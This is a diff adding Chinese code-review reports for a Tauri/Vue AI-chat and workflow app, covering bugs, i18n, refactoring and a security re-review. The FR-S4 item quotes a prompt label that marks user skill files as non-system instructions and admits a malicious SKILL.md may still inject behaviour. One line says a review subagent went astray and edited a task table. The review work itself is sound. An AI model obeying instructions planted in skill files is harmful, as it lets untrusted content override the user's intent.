||||||
|
|
||||||
|
**位置**:`crates/df-nodes/src/human_node.rs:54`
|
||||||
|
|
||||||
|
**问题**:`cancel_tick = interval(500ms)`,select! 内每 500ms 检查 `is_cancelled`。最长 3600s 阻塞节点 = 7200 次无谓锁竞争(StateMachine HashMap 锁)。魔法数字无注释。
|
||||||
|
|
||||||
|
**严重度**:低(开销小但模式不佳)。
|
||||||
|
|
||||||
|
**建议**:取消走独立 `tokio::sync::Notify`/oneshot,HumanNode `notify.notified().await` 零轮询。注:todo.md:142 已记"停止生成 idle 用 Notify 替代轮询",此为同类不同位置(审批节点 vs stopChat)。
|
||||||
|
|
||||||
|
### 🟡 FR-P5 — `build_system_prompt` 每次发消息全表扫项目 [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`src-tauri/src/commands/ai/prompt.rs:70-86`
|
||||||
|
|
||||||
|
**问题**:`ai_chat_send` 每次调 `build_system_prompt` → `state.projects.list_active()` → `take(20)` 拼 format! 字符串。热路径每对话重扫全表+重拼。
|
||||||
|
|
||||||
|
**严重度**:低(项目表小,SQL 本身快,format! 重复分配是主要开销)。
|
||||||
|
|
||||||
|
**建议**:项目列表变动时刷新缓存(已有 path 绑定事件可触发),或注入前比对 updated_at 决定是否重算。
|
||||||
|
|
||||||
|
### 🟡 FR-P6 — `AiChat.vue` watch messages 用 JSON.stringify 全量快照 [仅代理报告待复核]
|
||||||
|
|
||||||
|
**位置**:`src/components/AiChat.vue:670-678`
|
||||||
|
|
||||||
|
**问题**:`watch(() => store.state.messages, ..., { deep: true })` 内对整个 messages 做 `JSON.stringify(msgs.map(...))`。流式生成期间 currentText 每个 delta 触发 messages 对象变更,deep watch 每秒数十次全量序列化。长对话主线程阻塞。
|
||||||
|
|
||||||
|
**严重度**:低(与 aichat-review AR-1 流式 Markdown 全量重解析叠加放大)。
|
||||||
|
|
||||||
|
**建议**:watch 具体派生信号(如 toolCalls 的 status 集合)而非整个 messages deep 快照。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 可读性 / DRY(重构项)
|
||||||
|
|
||||||
|
### FR-D1 — confirmDialog 逻辑 4 处重复 [已核实] ✅ 已完成(commit 4a95f6a / commit 内编号 FR-D5)
|
||||||
|
`Ideas.vue:217` / `Projects.vue:137` / `ProjectDetail.vue:226` / `Settings.vue:403` 各一份 `confirmState + confirmDialog + answerConfirm`,代码几乎逐字相同。抽 `useConfirmDialog()` composable 配合现有 `ConfirmDialog.vue`。
|
||||||
|
|
||||||
|
> **已完成**:抽 `src/composables/useConfirm.ts`,Projects/ProjectDetail/Ideas/Settings 四视图改用 composable,各削减约 14 行重复(commit 4a95f6a;该 commit 内编号为 FR-D5)。
|
||||||
|
|
||||||
|
### FR-D2 — `parseTags`/`parseScores`/`parseStack` JSON 解析散落 [已核实]
|
||||||
|
同类"JSON 字符串→数组"解析在 Ideas/Knowledge/Projects/ProjectDetail 多处独立实现。收敛到 `utils/json.ts` 的 `parseJsonArray`/`parseJsonObject`。
|
||||||
|
|
||||||
|
### FR-D3 — `set_waiting`/`set_skipped`/`emit_human_approval_request` 死代码 [仅代理报告待复核]
|
||||||
|
`df-workflow/state.rs:87-111`(set_waiting/set_skipped 无调用方)+ `eventbus.rs:44`(emit_human_approval_request 无调用方)。`set_cancelled` 绕过状态机转换校验直接 insert。建议清理死代码 + `set_cancelled` 纳入合法转换白名单。
|
||||||
|
|
||||||
|
### FR-D4 — migrations 13 个手写 if 链 DRY 反例 [已核实]
|
||||||
|
`migrations.rs:38-90` 13 个 `if current_version < N { migrate_vN()? }` 手写重复,新加迁移易漏注册且编译器不报。改数组驱动 `&[(version, fn)]` 循环(与 FR-C4 同根,一并修)。
|
||||||
|
|
||||||
|
### FR-D5 — 状态机后门 + 死代码清理集合 [仅代理报告待复核]
|
||||||
|
合并 FR-D3 + `state.rs` 的 `set_*` 系列审计:保留 `set_cancelled`(cancel IPC 必需)但纳入 `is_legal` 转换图;删除 `set_waiting`/`set_skipped` 未用方法。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 核对通过的项(无问题)
|
||||||
|
|
||||||
|
- **R6 await 缺失是孤立 bug**:其余 10 处 send/emit/channel 操作全部正确 await(已逐条核查,见 workflow-approval-review 结论)。
|
||||||
|
- **执行链完整**:`run_workflow → spawn → DagExecutor::run → join_all(node.execute) → HumanNode select! → approve IPC → Response → HumanNode 返回 → executor 继续`,无断裂;cancel 通路 `cancel_workflow_node → set_cancelled → HumanNode 500ms 轮询 is_cancelled → Err` 也完整。
|
||||||
|
- **SQL 参数化扎实**:`query`/`update_field` 经 `validate_column_name` 白名单 + `params![]` 参数绑定,无 value 拼接注入(FR-S6 是潜在面非现行漏洞)。
|
||||||
|
- **tool_registry 无运行时注册入口**:`AiToolRegistry` 只在 `build_ai_tool_registry` 编译期注册,前端无法注入恶意工具。
|
||||||
|
- **v-html 安全**:`AiChat.vue:200` `renderMd` 经 DOMPurify sanitize;`ToolCard.vue` 多处 v-html 均为常量 SVG 非用户输入。
|
||||||
|
- **事务边界**:`purge_with_descendants` 子表先删父表后删单事务 commit;迁移脚本幂等(PRAGMA 探测 + IF NOT EXISTS)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 建议追加到 todo.md 的项
|
||||||
|
|
||||||
|
按严重度给 todo ID(待用户确认是否进看板):
|
||||||
|
|
||||||
|
| 建议 ID | 对应 | 优先级 |
|
||||||
|
|---|---|---|
|
||||||
|
| FR-S1(api_key 加密) | 本报告 §2 | P0 |
|
||||||
|
| FR-S2(read_file TOCTOU + write_file 大小限制) | 本报告 §2 | P0 |
|
||||||
|
| FR-S3(approve decision 白名单) | 本报告 §2 | P0 |
|
||||||
|
| FR-R1(switchConversation 切换 token) | 本报告 §4 | P1 |
|
||||||
|
| FR-R2(看门狗多窗口互踩) | 本报告 §4 | P1 |
|
||||||
|
| FR-C1(formattedEvents 时间漂移) | 本报告 §3 | P1 |
|
||||||
|
| FR-C2(net_sentiment=0 矛盾) | 本报告 §3 | P1 |
|
||||||
|
| FR-S4/S5(SKILL.md 注入 / 跨对话审批) | 本报告 §2 | P2 |
|
||||||
|
| FR-R4(complete() 无超时) | 本报告 §4 | P2 |
|
||||||
|
| FR-C3/C4/C5(timer 清理 / 迁移常量 / readonly 类型) | 本报告 §3 | P2 |
|
||||||
|
| FR-P1~P6 / FR-D1~D5(性能 + 重构) | 本报告 §5-6 | P2/长期 |
|
||||||
|
|
||||||
|
**优先修 3 件**(安全 + 明显体验):
|
||||||
|
1. **FR-S1** api_key 加密(凭据泄露面最大)
|
||||||
|
2. **FR-S3** approve decision 白名单(一行校验,防 HumanNode 卡死)
|
||||||
|
3. **FR-C1** formattedEvents 时间漂移(明显体验 bug,改动小)
|
||||||
|
|
||||||
|
> 本报告仅审查 + 文档,不含代码修改。实际修复另起会话。
|
||||||
205
docs/05-代码审查/工作区多角度走查-2026-06-15.md
Normal file
205
docs/05-代码审查/工作区多角度走查-2026-06-15.md
Normal file
@@ -0,0 +1,205 @@
|
|||||||
|
# 工作区多角度代码走查(2026-06-15)
|
||||||
|
|
||||||
|
> 范围:工作区未提交改动 22 文件 547 行 + 近 6 提交前端改动。4 路并行代理按文件域切分走查(AiChat.vue / View 层 / stores 重构 / composables+ToolCard)。
|
||||||
|
> 方法:每路代理独立 `git diff` + 多维度走查(正确性/健壮性/边界/性能/DRY/安全/异步时序/i18n/Vue3+Pinia+TS 规范),主代理整合 + 去重 + 关联已有 todo。
|
||||||
|
> 性质:**dry — 仅走查 + 文档,不改代码**(本会话职责:走查/整理/建待办,见 memory `session-role-diagnose-only`)。
|
||||||
|
> 关联:[近期改动代码审查-2026-06-15.md](./近期改动代码审查-2026-06-15.md)(FR-S1/S7/S8+近5提交);[自研块级memo流式渲染审查-2026-06-15.md](./自研块级memo流式渲染审查-2026-06-15.md)(块级 memo,CR-04~07,本走查跳过不重复)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔴 必须修复(4 独立根因)
|
||||||
|
|
||||||
|
### ① [src/stores/project.ts:273] selectType 字段名与后端 IPC 不匹配 → 多选审批静默失效(P0 功能)
|
||||||
|
|
||||||
|
**来源**:stores 代理。
|
||||||
|
|
||||||
|
**改什么**:`invoke('approve_human_approval', {...})` 传 `selectType`(camelCase),后端 `src-tauri/src/commands/workflow.rs:211` 签名 `select_type: Option<String>`(snake_case)。Tauri 2 `#[tauri::command]` **默认不做 camelCase→snake_case 转换**(全项目仅 `state.rs:30` 有 `rename_all`,与 IPC 命令无关)。
|
||||||
|
|
||||||
|
**影响**:后端收到 `select_type = None` → 归一化为 `Single`(workflow.rs:214-217)→ 多选 UI 勾多项提交被后端拒「单选审批只能提交一个决策」。**单选偶然兼容(缺省=Single)掩盖了问题**。F-260615-01 多选审批功能完全不可用。
|
||||||
|
|
||||||
|
**证据**:同 invoke 对象 `execution_id`/`node_id` 已是 snake_case,唯独 `selectType` 破坏约定;`grep selectType` 在 `src-tauri/` 零命中。
|
||||||
|
|
||||||
|
**怎么改**:
|
||||||
|
```diff
|
||||||
|
- selectType: state.pendingApproval.select_type ?? 'single', // Tauri camelCase→snake_case 自动转 select_type
|
||||||
|
+ select_type: state.pendingApproval.select_type ?? 'single',
|
||||||
|
```
|
||||||
|
删误导性注释。单行修复。**修后须手动验证一次多选审批全链路**。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### ② [useAiSend/useAiStream/useAiEvents] 流式 timeout/error/stop 收尾不清队列 → 队列消息静默丢失(P0 功能)
|
||||||
|
|
||||||
|
**来源**:composables 代理。
|
||||||
|
|
||||||
|
**改什么**:`sendMessage`(useAiSend.ts:36-42)在 `state.streaming === true` 时入队 `state.queue`。`drainQueue`(useAiSend.ts:25-29)**仅在 AiCompleted 事件中调用**(useAiEvents.ts:218)。若流式因 `onStreamTimeout`/`AiError`/`stopChat` 收尾(非走 AiCompleted),队列消息**永远不被发出**,用户输入"消失"无提示。
|
||||||
|
|
||||||
|
**影响**:用户生成中输入消息 → 流式超时/stopChat/后端崩溃 → 队列消息静默丢失,用户以为已发送但无回复。
|
||||||
|
|
||||||
|
**关联去重**:与 **B-260615-22**(前后端状态不同步,streaming 复位撞后端拦截)相关但不同角度——B-22 讲状态不同步致发送撞拦截,本项讲收尾路径不清队列致消息丢失。两者独立。
|
||||||
|
|
||||||
|
**怎么改**:`onStreamTimeout`(useAiStream.ts:21-49)/ `AiError` case(useAiEvents.ts:222-237)/ `stopChat` 三处收尾路径都应清空队列并提示(或回填输入框):
|
||||||
|
```diff
|
||||||
|
// onStreamTimeout() 末尾,clearStreamWatchdog() 之后
|
||||||
|
+ if (state.queue.length) {
|
||||||
|
+ state.queue = []
|
||||||
|
+ content += '\n(待发送队列中的消息已取消,请重新发送)'
|
||||||
|
+ }
|
||||||
|
```
|
||||||
|
`approveToolCall`(useAiSend.ts:82-107)IPC 失败 catch `throw e` 路径同样漏清队列,归并本项一起修。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### ③ [useAiStream.ts onStreamTimeout] 超时不回滚 running toolCall → 审批后卡片永久骨架屏(P0 功能,B-07 残留)
|
||||||
|
|
||||||
|
**来源**:composables 代理。
|
||||||
|
|
||||||
|
**改什么**:`approveToolCall`(useAiSend.ts:82-98)乐观置 `tc.status = 'running'` 后,若后端既不回 `AiToolCallCompleted` 也不回 `AiApprovalResult`(IPC 成功但后端 hang),看门狗超时回调 `onStreamTimeout`(useAiStream.ts:21-49)**只复位 `state.streaming`/`generatingConvId`/`currentText` + push 错误气泡,不碰 `messages[].toolCalls[].status`**。卡片 status 仍是 running → 渲染骨架屏(ToolCard.vue:24),审批按钮在 `pending_approval` 分支(ToolCard.vue:31)才显示 → 用户看到永久骨架屏,无重审入口。
|
||||||
|
|
||||||
|
**关联去重**:**B-260615-07 已实施**(approveToolCall 乐观置 running 加 watchdog 兜底),但 B-07 只加了 watchdog 重启,**onStreamTimeout 回调本身没回滚 toolCall.status**——这是 B-07 的残留遗漏点。本项是 B-07 的补全。
|
||||||
|
|
||||||
|
**怎么改**:`onStreamTimeout` 中扫一遍把 running 的 toolCall 回滚:
|
||||||
|
```diff
|
||||||
|
// onStreamTimeout() 中,clearStreamWatchdog() 之后、push 消息之前
|
||||||
|
+ for (let i = state.messages.length - 1; i >= 0; i--) {
|
||||||
|
+ const tcs = state.messages[i].toolCalls
|
||||||
|
+ if (!tcs) continue
|
||||||
|
+ for (const tc of tcs) {
|
||||||
|
+ if (tc.status === 'running') { tc.status = 'rejected'; tc.result = '审批/执行超时未响应' }
|
||||||
|
+ }
|
||||||
|
+ }
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### ④ i18n 硬编码一组 → 英文 locale 中英混杂(P1 文案)
|
||||||
|
|
||||||
|
**来源**:View 代理(ProjectDetail 多选按钮 🔴)+ composables 代理(onStreamTimeout 文案 🟡)。
|
||||||
|
|
||||||
|
**改什么**:
|
||||||
|
- **`ProjectDetail.vue:201`**(🔴):多选审批按钮 `确认({{ multiDecisions.length }})` 硬编码,同文件其他文案全走 `$t('projectDetail.xxx')`,i18n 体系完整。英文 locale 下多选弹层中英混杂。
|
||||||
|
- **`useAiStream.ts:39-41`**(🟡):`onStreamTimeout` 两条错误文案硬编码(B-260615-03 改了文案但没接 i18n)。
|
||||||
|
- **`AiChat.vue:675`**(⚪):handleSend toast `发送失败:${msg}` 硬编码。
|
||||||
|
|
||||||
|
**关联去重**:`AiChat.vue:459` confirmClearChat 硬编码 = **B-260615-20 已记技术债**(「文案硬编码未接 i18n,同 confirmClearChat 先例」),不重复记,但本组修复时一并处理。
|
||||||
|
|
||||||
|
**怎么改**:补 i18n key(中英):
|
||||||
|
- `projectDetail.approvalConfirm` / `approvalConfirmCount({count})`
|
||||||
|
- `ai.streamInterruptedAfterTool` / `ai.streamInterrupted`
|
||||||
|
- `aiChat.toastSendFail`
|
||||||
|
模板/composable 改用 `t('...')`。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 建议改进
|
||||||
|
|
||||||
|
### ⑤ 四份 `.ai-md` 样式逐字重复 ~180 行 → 抽全局样式或 `<AiMarkdown>` 组件(最大 DRY 债)
|
||||||
|
|
||||||
|
**来源**:View 代理。**位置**:ProjectDetail.vue:549-607 / Ideas.vue:815-873 / Knowledge.vue:610-668 / TaskDetail.vue。
|
||||||
|
|
||||||
|
`:deep(p/ul/li/code/pre/blockquote/h1-h3/a/strong/hr/table/th/td)` 样式规则**逐字符相同**(仅外层选择器不同)。B-260615-24(TaskDetail)首创,B-260615-25 复制粘贴到三视图。composable 抽了渲染逻辑(useMarkdown),样式没跟着抽。
|
||||||
|
|
||||||
|
**怎么改**:方案 A(推荐,轻量)— `src/styles/ai-md.css` 全局规则 + `main.ts` import 一次,四视图删 scoped 重复块。方案 B(彻底)— 抽 `<AiMarkdown :text>` 组件含 v-html+scoped 样式。先 A,第 5 处需求再升 B。
|
||||||
|
|
||||||
|
### ⑥ useMarkdown 加 `useRendered(getText)` 辅助 → 消除 computed+onMounted 三处重复(与 ⑤ 同源)
|
||||||
|
|
||||||
|
**来源**:View 代理。ProjectDetail:251 / Ideas:225 / Knowledge:249 三处 `renderedDesc = computed(() => { void mdReady.value; return renderMd(...) })` + `onMounted(loadMarkdown)` 模式逐字一致。
|
||||||
|
|
||||||
|
**怎么改**:useMarkdown 加 `useMarkdownRender(getText)` 返回 `{ html, loadMarkdown }`,调用点一行。做 ⑤ 方案 B 组件则此项自动消失。
|
||||||
|
|
||||||
|
### ⑦ switchConversation `JSON.parse(arguments)` 无逐条容错 → 单条坏参数清空整对话
|
||||||
|
|
||||||
|
**来源**:composables 代理。useAiConversations.ts:81 `JSON.parse(tc.function?.arguments || '{}')` 在 map 内,外层 try-catch(:87)粒度过粗——单条 tool_call arguments 损坏 → `state.messages = []` 整对话空白。
|
||||||
|
|
||||||
|
**怎么改**:包成安全函数逐条容错(返回 {} 兜底)。
|
||||||
|
|
||||||
|
### ⑧ args 消费方全用 `as any` → 类型逃逸
|
||||||
|
|
||||||
|
**来源**:composables 代理。ToolCard.vue:241,328 + useAiConversations.ts:71。`AiToolCallInfo.args` 类型 `unknown`(types.ts:205)但消费方 `as any` 绕过,拼写错无编译期检查。
|
||||||
|
|
||||||
|
**怎么改**:定义 `type ToolArgs = Record<string, unknown>`,出口收窄 + 消费方类型守卫。
|
||||||
|
|
||||||
|
### ⑨ approveToolCall 重复查找 → 复用 findToolCall
|
||||||
|
|
||||||
|
**来源**:composables 代理。useAiSend.ts:82-86 `state.messages.flatMap(m => m.toolCalls || []).find(...)`,而 findToolCall(useAiEvents:75)已是反向遍历统一查找。同一语义两套查找,DRY 违反。
|
||||||
|
|
||||||
|
**怎么改**:`approveToolCall` 改用 `findToolCall(toolCallId)`(useAiSend 已 import useAiEvents,不新增耦合方向)。
|
||||||
|
|
||||||
|
### ⑩ useAiEvents switch 缺 AiHeartbeat case
|
||||||
|
|
||||||
|
**来源**:composables 代理。useAiEvents.ts:115 看门狗重置白名单 `['AiApprovalRequired','AiCompleted','AiError']`,AiHeartbeat 不在排除表 → 会 resetStreamWatchdog(行为正确),但 switch(:118)无 AiHeartbeat case 落到末尾。功能对但可读性差。
|
||||||
|
|
||||||
|
**怎么改**:补 `case 'AiHeartbeat': break`(显式 no-op)。
|
||||||
|
|
||||||
|
### ⑪ approveHumanApproval 签名 decision/decisions 歧义
|
||||||
|
|
||||||
|
**来源**:stores 代理。project.ts:255 `(decision, comment?, decisions?)` 三参,多选传首项 decision 凑数 + 全量 decisions,依赖后端归一化。前端注释「decision 传首项(向后兼容)」冗余。
|
||||||
|
|
||||||
|
**怎么改**:改 options 对象签名 `{ decisions: string[], comment? }`,或不改则在 JSDoc 明确「decisions 优先,decision 占位」契约。
|
||||||
|
|
||||||
|
### ⑫ ToolCard 杂项
|
||||||
|
|
||||||
|
**来源**:composables 代理。formatBytes(undefined) 误显「0 B」(:227,应区分 undefined 与 0);shouldKeepOpen 与 toolCategory 命名判定风格不一(:131 精确 vs :206 includes);v-for `:key="arg.key"` 无 index 兜底(:33,LLM 畸形 args 极低概率)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚪ 可选优化
|
||||||
|
|
||||||
|
- **_toastTimer 卸载未 clearTimeout**(AiChat.vue:436,728)— onBeforeUnmount 清了 rafId 漏了 _toastTimer,同组件不对称。补一行。
|
||||||
|
- **markdown 外层容器 span/p 包 block**(ProjectDetail:119 span / Ideas:66 p)— 改 div 避免 inline 包 block,浏览器容错实际不崩。
|
||||||
|
- **内联 SVG 常量散落重复**(ToolCard.vue:127-128,213-218)— 抽 SVG 常量表。
|
||||||
|
- **appSettings.ts:8 注释「store 层」指代模糊**(settings.ts 已删)— 改指 `stores/ai.ts`。
|
||||||
|
- **stores/index.ts 空行不统一** — 格式。
|
||||||
|
- **router TaskDetail 路由 icon 语义**(:44-49)— 核对是否有 menu 遍历逻辑,详情页防误入菜单。
|
||||||
|
- **options 透传缺 shape 校验**(project.ts:271)— 后端兜底已校验,记录。
|
||||||
|
- **projectNameById computed 每实例重建**(ToolCard.vue:288-293)— 可选提升 store/inject 共享。
|
||||||
|
- **useConfirm answerConfirm resolve null 静默**(:43-47)— dev 警告。
|
||||||
|
- **useAiEvents.ts:25 `t` 的 `as any`** — 已知权衡(绕 vue-i18n TS2589),记录。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ✅ 亮点
|
||||||
|
|
||||||
|
1. **settings.ts mock 删除彻底零残留**(stores 代理):`git log -p` 确认是初始提交纯 mock(98 行硬编码 provider+连接),全 src 零 `useSettingsStore`/`AIProvider`/`GeneralSettings` import(grep 验证)。`api/settings`(HTTP 层)同名不同模块不构成残留。真实 provider CRUD 走 `api/ai.ts`+`stores/ai.ts`,偏好走 `appSettings.ts`,删除干净。
|
||||||
|
2. **useConfirm 抽取消除重复彻底**(composables 代理):Projects/ProjectDetail/Ideas/Settings/AiChat 五处全迁移,无残留 `window.confirm`、无旧 confirmState 定义。Settings reactive→ref 模板自动解包正确。
|
||||||
|
3. **useMarkdown 单例+DOMPurify+缓存+兜底四件套**(View 代理):模块级 `_marked/_purify/mdReady/_mdCache` 单例避免多视图重复加载 marked,renderMd 强制 sanitize 杜绝 XSS,未就绪 escapeFallback 降级。三视图复用零成本。
|
||||||
|
4. **`void mdReady.value` 显式响应式依赖**(View 代理):修了 B-25 漏响应式致首次纯文本后不重算的坑,三处一致 + 注释到位。Vue3 computed 追踪非同步读的正确用法。
|
||||||
|
5. **findToolCall 反向遍历 + 不建索引的决策有据**(composables 代理):注释详述 state.messages 多处整体替换致独立 Map 索引易失配,反向扫描零额外状态。onStreamTimeout 复制扫描逻辑而非 import 是为避循环依赖,判断准确。
|
||||||
|
6. **switchConversation 二次 token 比对**(composables 代理):第二个 await 后再 `if (mySwitchId !== _latestSwitchId) return`,防 A→B 切换期间 A 的 pending 覆写 B,补了首个异步点后的竞态漏。
|
||||||
|
7. **sendMessage IPC 失败回滚完善**(composables 代理):复位 streaming+清 watchdog+移除 user 消息和空气泡,让 handleSend 回填输入框重试。
|
||||||
|
8. **多选审批状态清空双保险**(View 代理):watch pendingApproval 在 showDialog 前清 multiDecisions,handleApprovalMulti 结束也清,immediate:true 覆盖首次挂载。
|
||||||
|
9. **demoDag 下线决策有据**(View 代理):R-PD-2 删除根因明确(script 节点不再注册,构造含 script 的 DagDef 会 build_dag 失败),删得干净无死代码。
|
||||||
|
10. **i18n 中英 key 完整对齐**(composables 代理):aiTool.ts 两份逐行比对,11 个 CRUD key 中英都有,无缺 key。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📊 摘要
|
||||||
|
|
||||||
|
| # | 等级 | 文件:行 | 修改内容 | 对应 todo |
|
||||||
|
|---|------|---------|----------|-----------|
|
||||||
|
| ① | 🔴P0 | project.ts:273 | selectType→select_type,多选审批静默失效 | B-260615-31 |
|
||||||
|
| ② | 🔴P0 | useAiSend/Stream/Events | timeout/error/stop 收尾清队列,防消息丢失 | B-260615-32 |
|
||||||
|
| ③ | 🔴P0 | useAiStream onStreamTimeout | 回滚 running toolCall,防骨架屏卡死(B-07 残留) | B-260615-33 |
|
||||||
|
| ④ | 🔴P1 | ProjectDetail:201 + useAiStream:39 + AiChat:675 | i18n 一组(多选按钮🔴+错误文案🟡+toast⚪) | CR-260615-08 |
|
||||||
|
| ⑤ | 🟡P1 | ProjectDetail/Ideas/Knowledge/TaskDetail | .ai-md 180 行抽全局样式/组件 | CR-260615-09 |
|
||||||
|
| ⑥ | 🟡P2 | ProjectDetail:251/Ideas:225/Knowledge:249 | useMarkdown useRendered 辅助(同 ⑤ 源) | CR-260615-10 |
|
||||||
|
| ⑦ | 🟡P2 | useAiConversations.ts:81 | JSON.parse 逐条容错 | CR-260615-11 |
|
||||||
|
| ⑧ | 🟡P2 | ToolCard:241,328 + useAiConversations:71 | args 去 as any 收窄类型 | CR-260615-11 |
|
||||||
|
| ⑨ | 🟡P2 | useAiSend.ts:82-86 | approveToolCall 复用 findToolCall | CR-260615-11 |
|
||||||
|
| ⑩ | 🟡P2 | useAiEvents.ts:118 | switch 补 AiHeartbeat case | CR-260615-11 |
|
||||||
|
| ⑪ | 🟡P2 | project.ts:255 | approveHumanApproval 签名改 options 对象 | CR-260615-11 |
|
||||||
|
| ⑫ | 🟡P2 | ToolCard.vue 多处 | formatBytes/命名判定/key 兜底 | CR-260615-11 |
|
||||||
|
| ⚪ | P3 | AiChat:436 等 10 项 | 见 ⚪ 区 | CR-260615-12 |
|
||||||
|
|
||||||
|
**总计**:🔴4(3 个 P0 功能 + 1 个 P1 文案)🟡8 ⚪10
|
||||||
|
|
||||||
|
**总体评价**:工作区改动主干质量高(settings.ts 删除彻底/useConfirm 收敛/useMarkdown 四件套/响应式修复正确/竞态防护到位)。**3 个 P0 功能 bug 集中在 AI 交互异步收尾路径**(队列丢失/骨架屏卡死)+ **1 个 IPC 字段名笔误**(selectType)—— 均非设计缺陷,是收尾路径不完整 + 命名笔误,修复成本低。最大技术债是 ⑤ .ai-md 样式 180 行重复(B-24/25 复制粘贴源头),建议抽全局样式根治。
|
||||||
|
|
||||||
|
**质量评级**:良(改 ①②③④ 达优;⑤⑥ 顺带清最大 DRY 债)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 来源
|
||||||
|
|
||||||
|
- 4 路并行代理走查(AiChat.vue / View 层 / stores 重构 / composables+ToolCard),2026-06-15,本会话内 spawn。
|
||||||
|
- 关联已有 todo:B-260615-07(approveToolCall watchdog,③ 残留点)、B-260615-20(handleSend toast i18n 技术债,④ 同源)、B-260615-22(前后端状态不同步,② 相关)、B-260615-24/25(.ai-md 样式首创/复制,⑤ 源头)。
|
||||||
214
docs/05-代码审查/架构与缺陷复核报告-2026-06-14.md
Normal file
214
docs/05-代码审查/架构与缺陷复核报告-2026-06-14.md
Normal file
@@ -0,0 +1,214 @@
|
|||||||
|
# 代码架构与缺陷复核报告(2026-06-14)
|
||||||
|
|
||||||
|
> 范围:在 [全栈代码审查报告-2026-06-14.md](./全栈代码审查报告-2026-06-14.md) 基础上的**复核 + 回归审计 + 架构层补充**。
|
||||||
|
> 方法:4 路并行(安全/并发性能/架构/工作流),其中安全路子代理失控(误改任务表无产出),改由**主代理直读 5 文件**完成(tool_registry / crud / workflow / commands / audit)。其余 3 路子代理产出完整。
|
||||||
|
> 模式:**dry — 仅审查 + 文档,不改代码**。
|
||||||
|
> 互斥:与全栈报告去重;本报告只记**复核结论(confirm/refute/已修)+ 新发现 + 报告修正**,不重复已记录的项。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 0. 复核总览
|
||||||
|
|
||||||
|
| 类别 | 数量 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| 已修确认(最近提交修复正确) | 8 | FR-S2/S3/S4/S6、AR-3、FR-R1(主路径)/R3、FR-C1 |
|
||||||
|
| confirm(复核证实仍存在) | 9 | FR-S1/S5、FR-R4/R5、FR-P2/P3/P5/P6、FR-P1(O(V·E)部分) |
|
||||||
|
| refute(原报告误判/已澄清) | 3 | FR-R2 降级成立、FR-P1 panic 担忧不成立、FR-P4 严重度偏高 |
|
||||||
|
| **新发现(不在原报告/todo)** | **11** | 见 §5,其中 5 项 🟠 |
|
||||||
|
| 死代码确认 | 5 | set_waiting/set_skipped、emit_human_approval_request、ModelRouter、StreamCollector、IdeaPromoter |
|
||||||
|
|
||||||
|
**最高优先级(建议本轮接手)**:§5 新发现 ②③④⑤(FR-R1 闭环缺口 / client 降级丢 timeout / 取消事件语义双标 / cancel 无终态校验)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 安全复核(主代理直读)
|
||||||
|
|
||||||
|
### ✅ 已修确认
|
||||||
|
|
||||||
|
**① FR-S2 — read_file/write_file [已核实修复正确]**
|
||||||
|
- `tool_registry.rs:367-376` read_file 改单次 `File::open → file.metadata() → read_to_string`,**同句柄**消除原 metadata+read 两步 syscall 间 symlink 替换的 TOCTOU。1MB 上限在 `metadata.len()` 判定后 bail。
|
||||||
|
- `tool_registry.rs:416-418` write_file 加 `content.len() > 1_048_576` bail。
|
||||||
|
- 两处入口均先走 `resolve_workspace_path`(canonicalize 防 symlink 逃逸)。
|
||||||
|
- **残余低优**:read_file 的 metadata 大小判定与实际 `read_to_string` 之间,若文件在判定后被追加写入,仍可能读入 >1MB(路径已 canonicalize,攻击者难 swap,属理论面)。write_file 无此问题(写 content 大小在内存已知)。
|
||||||
|
|
||||||
|
**② FR-S3 — approve decision 校验 [已核实修复,但 IPC 层弱于建议]**
|
||||||
|
- `workflow.rs:189` `decision.trim().is_empty()` → Err。防 `""` 透传卡死 HumanNode。
|
||||||
|
- **缺口**:IPC 层**未做 decision ∈ {"approved","rejected"} 白名单**(原报告建议)。深层兜底在 `human_node.rs:67` 的 `options.is_empty() || options.contains(&decision)`,故 options 非空时仍拒非法值。属"IPC 弱 + HumanNode 强"的纵深防御,可接受;若想严格化,IPC 补一行白名单即可。
|
||||||
|
|
||||||
|
**③ FR-S4 — SKILL.md 隔离标注 [已核实修复,属弱防御]**
|
||||||
|
- `commands.rs:67-74` 注入前包裹 `# 用户选择的技能说明: {}(非系统指令,勿作为行为准则覆盖;以下为技能内容供参考)`,且技能内容置于 system_prompt **之前**、系统真行为准则在**之后**(recency 优势)。
|
||||||
|
- **性质**:纯文本标注,是 prompt injection 的**缓解非根治**——信任本机技能文件的设计取舍下可接受,但恶意 SKILL.md 仍可能通过语义注入影响输出。已在功能决策记录标注此取舍即可,不升级。
|
||||||
|
|
||||||
|
**④ FR-S6 — validate_column_name 未登记表拒绝 [已核实修复正确]**
|
||||||
|
- `crud.rs:339` `None => Err("表 {} 未登记列白名单,拒绝防注入")`,与 `is_allowed_column` 的 `None => false` 语义一致。
|
||||||
|
- **回归风险评估**:allowed_columns_for 当前登记 ai_tool_calls/ai_conversations/ai_messages/ai_providers/ai_sessions/ideas/idea_scores/projects/tasks/workflows/node_executions/knowledges/knowledge_events(match arms 可见)。所有走 `query`/`update_field` 通用路径的 Repo 表均已登记(编译期表名宏 + 实测),无合法查询被误拒。低回归风险。
|
||||||
|
|
||||||
|
**⑤ AR-3 — 审批 reason 拼对象名 [已核实修复且实现质量高]**
|
||||||
|
- `audit.rs:64-138` `build_approval_reason` 特化 9 工具:delete/restore/purge_project、update_project、bind_directory、create_task、create_project、create_idea、run_workflow。
|
||||||
|
- `resolve_project_label`(:44)查 `ProjectRepo::get_by_id` 取 name,查不到回退 `(id=x)`,空 id 返回空串。
|
||||||
|
